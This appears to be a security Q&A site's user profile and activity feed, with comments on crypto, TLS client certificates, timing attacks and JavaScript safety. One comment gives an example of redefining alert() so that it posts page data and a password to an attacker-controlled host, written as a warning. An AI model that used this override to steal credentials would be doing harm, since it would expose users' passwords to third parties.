21,403 reputation
33699
bio website
location Brooklyn, NY
age 33
visits member for 3 years, 6 months
seen 10 hours ago
Good Morning how are you, I'm dr jimbob
I'm interested in things.
I'm not a real dr,
But I am a real jim bob.

Have a PhD in Experimental High-Energy Physics, but left academia in mid-2010 to program professionally.

Mostly program/script in python, django, and jquery these days doing mostly web apps.

Also have experience programming in C, C++, java, haskell, php, and (bash) shell more in the past.

Linux as primary OS since 1999, ubuntu user since 2005 (Hoary).


Jul
18
revised Properties of AES Encryption
exponents from ^ to <sup>
Jul
18
answered Properties of AES Encryption
Jul
11
comment Any example where client certification is required?
@tangrs - Yes. If you go to startssl.com and try to create a free SSL certificate (e.g., for your website), they'll require you to first generate a SSL certificate for client authentication (to login) with startssl.com instead of a password.
Jul
11
reviewed Close Can a virus on the host affect the VM guest
Jul
10
awarded  Fanatic
Jul
2
awarded  Curious
Jun
30
comment Books to start the study of TCP/IP
I wouldn't dive deep into TCP/IP until you've studied survey-level networking. I highly recommend the free coursera networking course and liked Kurose/Ross - Computer Networking (under $20 on amazon if you get used copy of the 5th edition (2009)). Also, if you are mostly interested in security stuff, but find networking basics a bit dry at first, then maybe look at the Web Application Hacker's Handbook for fun, quickly-applicable intro to security in web apps that often introduces some basics (mostly application layer).
Jun
22
comment unfamiliar IP when logging into ssh server
If you don't want to resolve IP addresses to host names (which will often contain the IP address in reverse order), simply use w -i (with GNU tools) or netstat -n.
Jun
20
revised Some questions about crypto
added 878 characters in body
Jun
20
answered Some questions about crypto
Jun
18
comment How to recognize if someone using password Reminder Script
Much better now. +1
Jun
18
comment How to recognize if someone using password Reminder Script
I did read your answer. But you rarely execute javascript in a vacuum; there are numerous scripts already running on the page, often from diverse sources -- e.g., on stackexchange I count some 14 scripts running plus JS extensions (granted there's some sandboxing of environments). An attacker potentially could redefine alert in one of those places that would turn this otherwise benign script into something devastating. My point is you can't call a JS snippet "safe" when JS is dynamic enough to let core functions be redefined.
Jun
18
comment How to recognize if someone using password Reminder Script
"The javascript you gave here cannot hack your account" - that's not necessarily true. An attacker may have early in the page overloaded alert(msg) (a standard JS function that generates a pop-up window with a text message) with something else. For example, try defining alert = function(x) { console.log(x) } and use an alert later on. The attackers version could be something like: alert = function(x) { jQuery.post('http://attacker-controlled-website.tk', {uri: document.baseURI, msg: x}) Then when the alert is called, your password and related info is sent off to the attacker.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - As for using constant-time functions for defense-in-depth, attacks aren't always intuitively obvious; e.g., the recent paper (note Shamir, the S of RSA is a co-author) where RSA in GnuPG (which used non-constant time modular exponentiation) was broken by using a mobile telephone's microphone to listen to a laptop decrypting things with RSA from across a room.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - With a suitably long salt unknown to the attacker (e.g., bcrypt's 128-bit salt), AFAIK you do not have to worry about timing attacks. That said, constant-time string comparison strikes me as the right thing to do for defense-in-depth and a good habit. I don't like take a hash of the your hash and do non-constant time comparison. All you've done is effectively change the hash function from bcrypt to sha256 of bcrypt and any timing attack that could have been done on bcrypt can now be done on sha256 of bcrypt.
Jun
10
revised Timing-safe string comparison in high-level languages
added 4 characters in body
Jun
10
revised Timing-safe string comparison in high-level languages
added 4 characters in body
Jun
10
answered Timing-safe string comparison in high-level languages
Jun
9
awarded  Enlightened
Jun
9
awarded  Guru